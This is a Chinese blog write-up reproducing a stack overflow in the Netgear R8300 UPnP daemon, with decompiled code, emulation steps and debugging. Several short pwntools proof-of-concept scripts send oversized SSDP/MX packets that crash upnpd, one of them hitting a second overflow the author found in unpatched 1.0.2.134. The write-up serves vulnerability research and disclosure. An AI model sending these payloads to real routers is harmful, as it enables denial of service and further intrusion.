Netgear R8300 UPnP 栈溢出漏洞复现

upnp栈溢出
2025-07-08 13:08
18155

Netgear R8300 UPnP 栈溢出漏洞复现

漏洞信息

固件型号:Netgear Nighthawk R8300 1.0.2.130( 此漏洞已在1.0.2.134版本修复)

下载地址:

Nighthawk X8 R8300 | AC5000 Smart WiFi Router | NETGEAR Support

漏洞描述:PSV-2020-0211:R8300 处理 UPNP 数据包的方式中存在一个漏洞,在处理简单服务发现协议(SSDP)请求时未实施边界检查,导致栈溢出。

补充知识

SSDP(Simple Service Discovery Protocol) 是 UPnP 中用于设备发现的协议。SSDP 数据包通常使用 UDP 进行广播。下面是一个 SSDP 请求的示例:

M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
MX: 3
ST: ssdp:all
  • HOST: 指定了目标地址和端口
  • MAN: 表示这是一个发现请求。也经常是ssdp:all
  • MX: 表示响应的最大等待时间(秒)
  • ST: 表示搜索目标,可以是特定服务或设备类型

漏洞点就位于处理SSDP请求的程序中,熟悉SSDP数据包格式对分析漏洞有很大的帮助。

准备工作

binwalk解包

Snipaste_2025-07-01_20-59-01.png

信息收集,arm架构32位

Snipaste_2025-07-01_21-22-44.png

漏洞分析

sub_1D020 函数(UPnP 主函数)

根据漏洞情报公开信息,找到该函数

初始化与设置

作用: 这是程序启动后的准备阶段。它首先检查用户是否在配置中启用了UPnP功能,然后进入一个等待循环,直到设备的网络接口获得了有效的IP地址后才继续执行。这是确保网络服务在正确环境下启动的关键步骤。

// 初始化一个变量,可能用于后续的recvfrom调用
v57[0] = 16;
// 记录日志,表示upnp_main函数已启动
sub_B814(2, "%s:%d()\n", "upnp_main", 751);
// 初始化一个全局标志,可能用于控制程序退出
dword_93AF4 = 0;
// 从NVRAM配置中检查"upnp_turn_on"是否为"1",判断UPnP功能是否开启
v38 = acosNvramConfig_match("upnp_turn_on", "1");

// 进入一个循环,等待网络就绪
while ( 1 )
{
  // 持续检查局域网IP地址是否还是"0.0.0.0"
  while ( 1 )
  {
    sub_B814(2, "%s: %d()\n", "upnp_main", 763);
    if ( !acosNvramConfig_match("lan_ipaddr", "0.0.0.0") )
      break; // 如果IP地址不再是0.0.0.0,说明网络已就绪,跳出循环
    sleep(1u); // 否则,休眠1秒后重试
  }

创建核心网络套接字 (Sockets)

作用: 在网络就绪后,此部分代码创建并绑定UPnP服务所需的三个核心网络套接字:

  1. 一个UDP套接字用于在 1900端口 监听SSDP发现请求。
  2. 一个UDP套接字用于 发送 SSDP响应和广播。
  3. 一个TCP套接字用于在 5000端口 监听HTTP/SOAP控制请求(如端口映射)。
      // 创建并绑定用于SSDP监听的UDP套接字(端口1900)
      dword_C4580 = sub_1C450(1900);
    }
    while ( dword_C4580 < 0 ); // 如果创建失败,则重试

    // 创建用于发送SSDP消息的UDP套接字
    sub_B814(2, "%s: %d()\n", "create_submit_scoket", 199);
    v0 = socket(2, 2, 0);
    v1 = v0;
    if ( v0 == -1 )
    {
      sub_B814(2, "http_mu : Can't UDP create socket..\n");
      exit(1);
    }
    // ... (绑定发送套接字到任意地址)
    if ( bind(v0, v53, 0x10u) == -1 )
    {
      sub_B814(2, "Can't bind UPNP send socket..\n");
      exit(1);
    }
    dword_C457C = v1; // 保存发送套接字的文件描述符

    // 如果发送套接字创建失败,则清理并重试
    if ( v1 >= 0 )
      break;
    close(dword_C4580);
    sub_B814(2, "ssdp send socket created failed!!\n");
  }

  // 创建并绑定用于HTTP控制的TCP套接字(端口5000)
  dword_C4584 = sub_1C450(5000);
  if ( dword_C4584 >= 0 )
    break; // 成功则跳出最外层初始化循环

  // 如果HTTP套接字创建失败,则清理所有已创建的套接字并重试
  close(dword_C4580);
  close(dword_C457C);
  sub_B814(2, "http socket created failed!!\n");
}

设置UPnP广播参数并首次广播

作用: 此部分代码从NVRAM中读取UPnP的广播周期和有效期配置。如果UPnP功能是开启的,它会立即调用 sub_25634() 函数,向局域网发送第一次SSDP NOTIFY 广播,宣告本设备的存在。

// 获取UPnP广播的有效期和广播间隔
dword_A2324 = 0;
v2 = (const char *)acosNvramConfig_get("upnp_duration");
v3 = sub_B814(2, "upnp_duration is %s\n", v2);
v4 = sys_uptime(v3); // 记录当前时间作为基准
dword_A2324 = v4;

// 如果UPnP功能开启,则立即进行第一次SSDP宣告
if ( v38 )
  sub_25634();

v5 = (const char *)acosNvramConfig_get("upnp_advert_period");
v6 = atoi(v5);
v8 = 60 * v6; // 计算广播间隔(秒)
v42 = v8;

以上部分可以看到程序需要一些NVRAM里的配置信息,在模拟后可能需要手动添加

主事件循环

作用: 这是程序的核心,一个无限循环。它使用 select I/O多路复用技术来同时等待多个事件:定时器超时(用于周期性广播)、SSDP套接字(1900端口)的数据到达、HTTP套接字(5000端口)的新连接请求。

// 确定select需要监听的最大文件描述符
v7 = dword_C4580;
if ( dword_C4580 < dword_C4584 )
  v7 = dword_C4584;
v43 = v7;

// 进入主事件循环
while ( 1 )
{
  // 检查全局退出标志,如果为1则跳出循环,准备关闭服务
  if ( dword_93AF4 == 1 )
    break;

  // --- 4.1 定时广播逻辑 ---
  v11 = sys_uptime(v9);
  dword_A2324 = v11;
  if ( v42 > v11 - v4 ) // 检查是否到达下一次广播时间
  {
    // 未到时间,计算select的超时时间
    v13 = v4 + v42 - v11;
    if ( v13 >= 0xA )
      v13 = 10; // 超时时间最长为10秒
  }
  else
  {
    // 已到广播时间,发送SSDP NOTIFY广播
    if ( v10 == 1 )
      v44 = sub_25634();
    if ( v44 == -11 )
      sub_B814(2, "SSDP: sending notifies error!!\n");
    v4 = v12; // 更新上次广播时间
    v13 = 10; // 设置默认超时
  }

  // --- 4.2 准备select调用 ---
  sub_1F590(); // 可能是一些状态清理或准备工作
  // 清空读文件描述符集合 (FD_ZERO)
  // ...
  // 设置select的超时
  timeout.tv_sec = v13;
  timeout.tv_usec = 0;
  // 将SSDP和HTTP监听套接字加入读文件描述符集合 (FD_SET)
  readfds.__fds_bits[(unsigned int)dword_C4580 >> 5] |= 1 << (dword_C4580 & 0x1F);
  readfds.__fds_bits[v16] |= 1 << nfds;

  // --- 4.3 等待事件发生,使用select函数判断超时或错误,若错误清理fd_set并继续下一次循环 ---
  if ( select(v43 + 1, &readfds, 0, 0, &timeout) <= 0 )
  {
    // 如果是超时或错误,则清理fd_set并继续下一次循环
    // ...
    continue;
  }

事件处理 - SSDP请求(漏洞点)

作用: 如果 select 返回是因为SSDP监听套接字(1900端口)收到了数据,这部分代码将被执行。它会接收UDP数据包,并调用 sub_25E04 函数来解析和响应这个SSDP请求(通常是 M-SEARCH)。

  // ---  处理SSDP M-SEARCH请求 ---
  // 检查是否是SSDP套接字(dword_C4580)收到了数据 (FD_ISSET)
  if ( (((unsigned int)readfds.__fds_bits[(unsigned int)dword_C4580 >> 5] >> (dword_C4580 & 0x1F)) & 1) != 0 )
  {
    // 从套接字接收UDP数据
    v24 = recvfrom(dword_C4580, v50, 0x1FFFu, 0, &v54, v57);
    // 从fd_set中清除该套接字
    readfds.__fds_bits[(unsigned int)dword_C4580 >> 5] &= ~(1 << (dword_C4580 & 0x1F));
    if ( v25 ) // 检查源IP是否有效
    {
      if ( v24 ) // 检查是否收到了数据
      {
        v50[v24] = 0; // 添加字符串结束符
        // 如果UPnP功能开启,则调用SSDP请求处理函数
        if ( acosNvramConfig_match("upnp_turn_on", "1") )
          sub_25E04(v50, v53, ...); // 传入收到的数据和客户端地址,这里是漏洞点所在函数
      }
    }
    continue; // 处理完毕,进入下一次循环
  }

看到这里,我们大概了解UPnP的主要流程,要模拟UPnP可能需要的条件,触发漏洞需要的条件。

sub_25E04函数 (SSDP M-SEARCH 请求处理器)

看到函数开头。这部分负责解析收到的UDP数据包的第一行,严格验证其是否为本程序需要处理的 M-SEARCH 请求。它会忽略掉其他设备发来的 NOTIFY 宣告消息,并拒绝所有格式不正确的请求。这里的处理和前面的示例SSDP包对应上了。可以看到一个明显的栈溢出漏洞。我们根据这个函数的内容构造我们的SSDP包。

// 函数入口,记录日志
sub_B814(3, "%s(%d):\n", "ssdp_http_method_check", 203);

// 检查全局退出标志,如果程序正在关闭,则直接返回
if ( dword_93AE0 == 1 )
  return 0;

// 将收到的消息 a1 复制到本地缓冲区 v39,以进行字符串处理
v41 = v39;
strcpy(v39, a1);//漏洞点

// 使用分词函数 sub_B60C (类似 strtok) 解析请求行的第一个词(方法)
v7 = (const char *)sub_B60C(&v41, &v42);
v8 = v7;
if ( !v7 )
{
  // 如果解析失败,记录错误并返回
LABEL_13:
  sub_B814(2, "%s(%d):Http message error\n", "ssdp_http_method_check", 231);
  return -7;
}

// 检查方法是否为 "M-SEARCH"
if ( !strstr(v7, "M-SEARCH") )
{
  // 如果不是 M-SEARCH,检查是否为 "NOTIFY"
  if ( stristr(v8, "NOTIFY") )
    return 0; // 如果是 NOTIFY,则忽略该消息,正常返回
  goto LABEL_13; // 如果既不是 M-SEARCH 也不是 NOTIFY,则为错误消息
}

// 解析请求行的第二个词(URI),并检查是否为 "*"
v9 = (const char *)sub_B60C(&v41, &v42);
if ( v9 && !strchr(v9, 42) ) // 42 是 '*' 的ASCII码
{
  sub_B814("%s(%d):Parsing error missing * \r\n", "ssdp_http_method_check", 214);
  return -7;
}

// 解析请求行的第三个词(协议版本),并检查是否为 "HTTP/1.1"
v10 = sub_B60C(&v41, &v42);
if ( v10 && !stristr(v10, "HTTP/1.1") )
{
  sub_B814(2, "%s(%d):Parsing error missing HTTP/1.1\n", "ssdp_http_method_check", 219);
  return -7;
}

启动upnpd程序

firmae模拟固件
firmae.png
ps搜索,发现程序并没有自动启动upnpd,手动启动一下
1.png
这里显示nvram的很多信息不全,用的是firmae自带的libnvram.so。我们这时候ps一下会发现upnpd并没有在运行,只是看起来没有结束。我们hook劫持一个与nvram相关的动态链接库。以下是适配的nvram

raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c

注意的是ubuntu现在最新的软件包gcc-arm-linux-gnueabi只对应了armv7架构,无法在源中直接安装可以编译ARMv5的gcc,我们这里使用下面的docker

rootkiter/cross-cpu-compile: 嵌入式 GCC 交叉编译镜像,当前大部分编译器是基于 uclibc的。产品已经上传至 docker-hub ,可自行参考 README 的相关描述使用。

在docker中执行:

/root/compile_bins/cross-compiler-armv5l/bin/armv5l-gcc -Wall -fPIC -shared custom_nvram_r6250.c -o nvram.so

然后docker cp把nvram.so取回本机,wget传入firmae虚拟机。

主机

python3 -m http.server

虚拟机

wget 主机ip:8000/nvram.so

继续运行

LD_PRELOAD="/nvram.so" /usr/sbin/upnpd

发现dlsym未定义,这里dlsym函数由nvram.so库内部调用,用于动态加载符号,这个函数通常在libdl.so库中
Snipaste_2025-07-03_19-48-23.png
验证一下,在binwalk解包的文件系统中搜索“dlsym”,注意不要在firmae模拟的环境grep,会很慢。
Snipaste_2025-07-03_20-06-30.png
看到libl.so.0,我们就可以在执行命令时预加载libdl.so.0:

LD_PRELOAD="/nvram.so /lib/libdl.so.0" /usr/sbin/upnpd

upnp在fopen('/tmp/nvram.ini', 'r') 时没有读到东西,我们cat看一下,确实是空的。
Snipaste_2025-07-03_21-27-40.png
在网上看到一个配置信息写入/tmp/nvram.ini,注意根据系统模拟网卡ip写lan_ipaddr=192.168.1.1

echo "upnpd_debug_level=9
lan_ipaddr=192.168.1.1
hwver=R8500
friendly_name=R8300
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF" > /tmp/nvram.ini

再次启动

LD_PRELOAD="/nvram.so /lib/libdl.so.0" /usr/sbin/upnpd

Snipaste_2025-07-03_21-06-38.png
Snipaste_2025-07-03_21-06-55.png
正常启动,ps能看到进程运行

漏洞利用

ps查看系统模拟时的telnet进程
tel1.png
利用telnet打开一个终端运行upnpd,这里由于/tmp/nvram.ini丢失,我们要重新写进去并运行upnpd

telnet 192.168.1.1 31338

tel2.png
利用firmae的run gdbserver功能查看upnpd进程,开一个调试端口
gdb1.png
gdb2.png
进入pwndbg调试并运行
gdb5.png
gdb3.png
根据程序和前面的SSDP示例写exp脚本如下

from pwn import *
io = remote("192.168.1.1",1900,typ='udp')
payload = b'M-SEARCH * HTTP/1.1 \r\n'
payload += b'Man: "ssdp:discover" \r\n'
payload += b'MX: %s \r\n' % (b'a'*200)
io.send(payload)

gdb4.png
成功触发

返回地址0x61616160,最后一位被置零了。这是因为由于地址的字节对齐,地址最低位只能是零,实际上是没有作用的,在一些arm系统中,这一位被用作指示ARM和Thumb模式之间切换,在读取切换指令后会将地址最低位重新置零。

疑点与发现

笔者原以为,分析到这里就结束了。sub_25E04函数((SSDP M-SEARCH 请求处理器)有个有意思的地方是:漏洞函数strcpy(v39, a1)实际上是在解析SSDP请求包之前,而上层的UPnP服务仅起到分发作用,不对SSDP包过滤,也就是说,只要我们传输方式是UDP传输向1900端口,即便不构筑完整包,理论上也能触发栈溢出崩溃。

// 函数入口,记录日志
sub_B814(3, "%s(%d):\n", "ssdp_http_method_check", 203);

// 检查全局退出标志,如果程序正在关闭,则直接返回
if ( dword_93AE0 == 1 )
  return 0;

// 将收到的消息 a1 复制到本地缓冲区 v39,以进行字符串处理
v41 = v39;
strcpy(v39, a1);//漏洞点

// 使用分词函数 sub_B60C (类似 strtok) 解析请求行的第一个词(方法)
v7 = (const char *)sub_B60C(&v41, &v42);
v8 = v7;
if ( !v7 )
{
  // 如果解析失败,记录错误并返回
LABEL_13:
  sub_B814(2, "%s(%d):Http message error\n", "ssdp_http_method_check", 231);
  return -7;
}

// 检查方法是否为 "M-SEARCH"
if ( !strstr(v7, "M-SEARCH") )
{
  // 如果不是 M-SEARCH,检查是否为 "NOTIFY"
  if ( stristr(v8, "NOTIFY") )
    return 0; // 如果是 NOTIFY,则忽略该消息,正常返回
  goto LABEL_13; // 如果既不是 M-SEARCH 也不是 NOTIFY,则为错误消息
}

// 解析请求行的第二个词(URI),并检查是否为 "*"
v9 = (const char *)sub_B60C(&v41, &v42);
if ( v9 && !strchr(v9, 42) ) // 42 是 '*' 的ASCII码
{
  sub_B814("%s(%d):Parsing error missing * \r\n", "ssdp_http_method_check", 214);
  return -7;
}

// 解析请求行的第三个词(协议版本),并检查是否为 "HTTP/1.1"
v10 = sub_B60C(&v41, &v42);
if ( v10 && !stristr(v10, "HTTP/1.1") )
{
  sub_B814(2, "%s(%d):Parsing error missing HTTP/1.1\n", "ssdp_http_method_check", 219);
  return -7;
}
// 初始化一个缓冲区 s,用于存放可能从 ST 头中提取的 UUID
memset(s, 0, 37);

// 检查是否存在 "MAN:" 头部,并且其值必须是 "ssdp:discover"
v11 = stristr(a1, "MAN:");
if ( !v11 )
  return -7;
if ( !stristr(v11, "\"ssdp:discover\"") )
  return -7;

// 调用 sub_24B74 解析 "MX:" 头部,获取客户端愿意等待响应的最长时间(秒)
v12 = sub_24B74(a1);
if ( !v12 )
  return -7;

构造测试exp

from pwn import *
io = remote("192.168.1.1",1900,typ='udp')
payload = b'MX: %s \r\n' % (b'a'*200)
io.send(payload)

实际与我们预测的完全不符,这样的包并没有触发崩溃。笔者排除了提前过滤、字符串数量变化的问题:1.动态调试发现,该测试包进入sub_25E04函数,在其中打断点可以看到栈空间确实被字符“a"填满,但是程序最后返回,进入UPnP的监听循环;2.测试exp与原exp相比,只少了少数字符,但是将测试exp的”a"的数量增加到400,600同样无法触发溢出。

笔者分析发现sub_25E04函数 (SSDP M-SEARCH 请求处理器)的栈帧实际上很大,200个字符并不会覆盖到返回地址,大概需要1600左右个字符串才能覆盖返回地址。
Snipaste_2025-07-05_19-44-51.png
下面是真正触发该漏洞的exp和该漏洞的崩溃点,并不需要构造SSDP包。

from pwn import *
io = remote("192.168.1.1",1900,typ='udp')
payload = b'MX: %s \r\n' % (b'a'*1700)
io.send(payload)

Snipaste_2025-07-07_19-33-55.png
于是笔者重新跟踪了原exp的崩溃点,发现与我们一开始分析的完全不一样。原exp下,程序在sub_25E04函数经过如下跳转
Snipaste_2025-07-05_18-25-21(1).png
最后在BL sub_24B74处崩溃。笔者在BL sub_24B74SUBS R8, R0, #0分别打断点,发现程序在sub_24B74函数中崩溃,因此没有执行到SUBS R8, R0, #0
Snipaste_2025-07-05_18-28-12.png
Snipaste_2025-07-05_18-29-34.png
跟进函数sub_24B74("MX"解析函数)

这个函数的核心目标是:从一个大的输入字符串a1中,解析出"MX:"头后面的数字,并将其作为整数返回。

// 定义一个名为 sub_24B74 的函数,它接受一个整数参数 a1(实际上被当作 char* 指针使用)。
// __fastcall 是一种调用约定,指示编译器尽可能使用 CPU 寄存器来传递参数,以提高速度。
int __fastcall sub_24B74(int a1)
{
    int v1; // 声明一个整型变量 v1,用于存储最终的解析结果。
    int v2; // 声明一个整型变量 v2,用于存储查找 "MX:" 的结果指针。
    int v3; // 声明一个整型变量 v3,用于保存 v2 的值。
    unsigned int v4; // 声明一个无符号整型变量 v4,用于存储查找 "\r\n" 的结果指针。
    _DWORD v6[36]; // 在栈上分配一个数组 v6,大小为 36 * 4 = 144 字节,用作临时缓冲区。

    v1 = 0; // 初始化返回值为 0。如果解析失败,将返回这个默认值。

    // 将 v6 数组的前 128 个字节清零。
    // 这是一个好的编程习惯,可以防止缓冲区中的垃圾数据影响后续操作。
    memset(v6, 0, 128);

    // 在输入字符串 a1 中(不区分大小写)查找子字符串 "MX:"。
    // stristr 返回一个指向找到的子字符串的指针,如果没找到则返回 NULL (0)。
    v2 = stristr(a1, "MX:");
    v3 = v2; // 将查找到的指针保存到 v3 中。

    // 检查是否找到了 "MX:"。
    if ( v2 ) // 如果 v2 不为 NULL,即找到了 "MX:"
    {
        // 从 "MX:" 的位置开始,继续查找换行符 "\r\n"。
        v4 = stristr(v2, "\r\n");

        // 检查是否找到了换行符。
        if ( v4 ) // 如果 v4 不为 NULL,即找到了 "\r\n"
        {
            // 检查 "MX:" 和 "\r\n" 之间是否有内容。
            // v3 + 3 指向 "MX:" 后面的字符。如果 v4 小于或等于这个位置,
            // 说明 "MX:" 后面没有内容,或者内容为空。
            if ( v4 <= v3 + 3 )
            {
                // 调用错误处理函数,报告错误 "No MX error1 !!",表示 "MX:" 后面没有数据。
                sub_B814(2, "No MX error1 !!\n");
            }
            else
            {
                // 计算 "MX:" 和 "\r\n" 之间的字符串长度,并复制这段字符串到缓冲区 v6 中。
                // v3 + 3 是源字符串的起始地址。
                // v4 - (v3 + 3) 是要复制的长度。
                //真正的漏洞点
                strncpy((char *)v6, (const char *)(v3 + 3), v4 - (v3 + 3));

                // 使用 atoi 将缓冲区 v6 中的字符串转换为整数,并存入 v1。
                v1 = atoi((const char *)v6);

                // 对解析出的整数进行验证。
                // 1. v1 <= 0: 检查数字是否为负数或零(或 atoi 转换失败)。
                // 2. index((const char *)v6, 46): 检查原始数字字符串中是否包含小数点 '.' (ASCII 46)。
                if ( v1 <= 0 || index((const char *)v6, 46) )
                {
                    // 如果数字无效(小于等于0,或包含小数点),则将结果重置为 0。
                    v1 = 0;
                    // 调用错误处理函数,报告错误 "MX Empty , not integer or negative!!"。
                    sub_B814(2, "MX Empty , not integer or negative!!\n");
                }
            }
        }
        else // 如果在 "MX:" 之后没有找到 "\r\n"
        {
            // 调用错误处理函数,报告错误 "No MX error2 !!"。
            sub_B814(2, "No MX error2 !!\n");
            return 0; // 直接返回 0,表示解析失败。
        }
    }
    else // 如果在输入字符串 a1 中没有找到 "MX:"
    {
        // 调用错误处理函数,报告错误 "No MX error0 !!"。
        sub_B814(2, "No MX error0 !!\n");
        return 0; // 直接返回 0,表示解析失败。
    }

    // 返回最终解析出的有效整数值。如果中途出错,该值为 0。
    return v1;
}

真正的漏洞点 strncpy((char *)v6, (const char *)(v3 + 3), v4 - (v3 + 3));

  1. 目的字符串:(char *)v6
    • 这是栈上的一个缓冲区,大小是固定的128字节。
  2. 源字符串: (const char *)(v3 + 3)
    • v3指向"MX:"'M'v3 + 3指向冒号后面的第一个字节。这是攻击者可以控制的数据的开始。
  3. 长度 : v4 - (v3 + 3)
    • v4指向"\r\n"'\r'
    • 这是一个指针减法,它计算出了"MX:""\r\n"之间的数据的确切长度。

虽然程序用了 strncpy函数控制长度,这个长度完全由攻击者提供的输入数据决定。程序没有对这个计算出来的长度做任何检查。

程序最终在这个函数:sub_24B74("MX"解析函数)返回时崩溃。

总结一下,我们在执行原exp后意外打到另一个漏洞,这里理清了两个漏洞的逻辑和触发条件。

原漏洞在下一个版本1.0.2.134已修复,而这个漏洞在1.0.2.134疑似未修复,我们测试一下

1.0.2.134版本模拟与漏洞测试

Netgear Nighthawk R8300 1.0.2.134用firmae启动失败了,我们尝试一下用户模拟,由于两个版本的UPnp程序相近(存在一定区别),我们直接套用前面的步骤

设置配置信息,lan_ipaddr=192.168.2.139记得改为虚拟机IP,注意> ./tmp/nvram.ini 有变化,在文件系统目录下执行,不要设置到虚拟机的/tmp

echo "upnpd_debug_level=9
lan_ipaddr=192.168.2.139
hwver=R8500
friendly_name=R8300
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF" >  ./tmp/nvram.ini

用户模拟

sudo chroot . ./qemu-arm-static -E LD_PRELOAD="./nvram.so ./lib/libdl.so.0" /usr/sbin/upnpd

结果没有回显
Snipaste_2025-07-07_20-47-58.png
我们使用下面的代码,在upnpd.log查看提示信息

sudo chroot . ./qemu-arm-static -E LD_PRELOAD="./nvram.so ./lib/libdl.so.0" /usr/sbin/upnpd -f > upnpd.log 2>&1

发现需要建立一个有效的/var/run文件夹
Snipaste_2025-07-07_20-50-09.png
Snipaste_2025-07-07_20-50-58.png
我们重新建立一个文件系统的/tmp/var/run并链接

mkdir -p ./tmp/var/run
rm ./var
ln -s ./tmp/var/ ./var

发现upnpd.log末尾没有明显报错且不断更新,说明程序在运行中了
Snipaste_2025-07-07_21-04-58.png
ps验证一下
Snipaste_2025-07-07_21-05-18.png
已经启动的upnpd存在多级子进程的创建,笔者用qemu-arm-static -g 端口号的方式无法跟进调试,只能用下面代码远程调试qemu程序。

sudo pwndbg -p 4331

这里调试的是qemu这个x86架构的模拟程序,而非arm架构的upnpd程序,因此常用的静态分析打断点等手段这里没法用。进入后c运行程序
Snipaste_2025-07-07_21-14-27.png
我们先测试一下原漏洞PSV-2020-0211,测试脚本如下

from pwn import *
io = remote("192.168.2.139",1900,typ='udp')
payload = b'MX: %s \r\n' % (b'a'*1700)
io.send(payload)

结果程序不受影响。如果不使用pwndbg工具,我们也可以用ps -aux | grep "upnpd"查看程序是否运行,程序会一直运行以处理各种包,除非它被打崩。
Snipaste_2025-07-07_21-24-53.png
然后测试一下新发现的漏洞对应的exp

from pwn import *
io = remote("192.168.2.139",1900,typ='udp')
payload = b'M-SEARCH * HTTP/1.1 \r\n'
payload += b'Man: "ssdp:discover" \r\n'
payload += b'MX: %s \r\n' % (b'a'*200)
io.send(payload)

我们可以看到x86架构的qemu程序在模拟upnpd时由于upnpd接收到的错误地址0x61616160而出错
Snipaste_2025-07-07_21-33-09.png
最后附上1.0.2.134版本两个漏洞点的简单分析:

  • 原漏洞修复:限制SSDP包长度,使其长度不够覆盖返回地址(但能覆盖栈内其他空间)
    Snipaste_2025-07-07_21-37-15.png
  • 新漏洞:依旧没做限制
    Snipaste_2025-07-07_21-40-36.png
    Snipaste_2025-07-07_21-41-09.png

后记

由于netgear的cve都没有公开,笔者并不知道这个洞是否被申报,只知道它并未与公开的PSV-2020-0211(即复现的原漏洞)一起被修复。不过,笔者检查了最新的1.0.2.158,发现该漏洞已被修复。又根据netgearR8300的CVE情报,发现R8300在1.0.2.144版本修复了一批栈溢出漏洞,找到1.0.2.144的固件查看,果然该漏洞已被修复,猜测这个洞可能是其中之一或者更早被修复,下图是1.0.2.144的修复措施。一个值得注意的点是,修复人员对于两个相似的栈溢出漏洞,并没有严格限制长度等于栈空间的大小,只是将长度控制在一个不足以覆盖返回地址的长度范围。
144.png

分享到

参与评论

0 / 200

全部评论 5

KDEV的头像
句句切中实操痛点。最难得的是对漏洞修复逻辑的深度拆解,对比新旧版本代码差异,展现了漏洞从发现到修复的完整攻防视角,实用🤬与专业🤬兼具,堪称物联网安全实战的优质引路文!
2025-08-04 14:18
KDEV的头像
这份指南将物联网设备漏洞挖掘的硬核过程拆解得淋漓尽致!从固件解包时 binwalk 参数的精准运用,到 SquashFS 文件系统提取的实操细节,让新手也能快速掌握固件分析的入门密钥。漏洞定位环节尤为出彩,不仅通过静态分析锁定 strcpy 的溢出根源,更结合 QEMU 动态调试捕捉内存异常,将抽象的栈溢出原理转化为可视化的调试过程。环境搭建中对 ARM 架构模拟器配置、库文件依赖问题的解决方案,
2025-08-04 14:18
rew1X的头像
2025-07-28 11:32
乌托邦的头像
太好了,写的太精妙了
2025-07-25 16:25
Aiyflowers的头像
加油、李克用还需努力
2025-07-25 15:55
投稿
签到
联系我们
关于我们